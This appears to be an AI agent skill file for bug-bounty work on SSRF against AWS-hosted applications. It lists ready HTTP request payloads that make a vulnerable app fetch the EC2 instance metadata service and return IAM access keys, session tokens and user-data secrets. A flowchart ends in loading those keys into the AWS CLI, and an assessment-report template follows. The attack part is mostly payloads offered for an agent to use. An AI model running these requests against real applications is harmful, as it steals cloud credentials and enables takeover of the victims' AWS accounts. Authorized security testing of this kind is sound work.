Exploit Server-Side Request Forgery (SSRF) vulnerabilities in applications hosted on AWS EC2 instances to extract IAM credentials and User Data from the Instance Metadata Service (IMDS). This skill covers techniques for bypassing basic filters to access IMDSv1 and concepts of IMDSv2.
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Review the instructions the agent will receive before you install.
# Concept: Test the target application for SSRF GET /fetch_url?url=http://example.com HTTP/1.1
Host: target.app
# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.app
# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole HTTP/1.1
(The response will contain a JSON object with AccessKeyId, SecretAccessKey, and Token)
# # GET /fetch_url?url=http://169.254.169.254/latest/user-data HTTP/1.1
(User Data often contains sensitive initialization scripts, database passwords, or API keys).
flowchart TD
A[Send IMDS Payload ] --> B{Response 200 OK? }
B -->|Yes| C[Extract Data ]
B -->|No/401| D[IMDSv2 Enforced? ]
C --> E[Configure AWS CLI ]
Aws Metadata Ssrf — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
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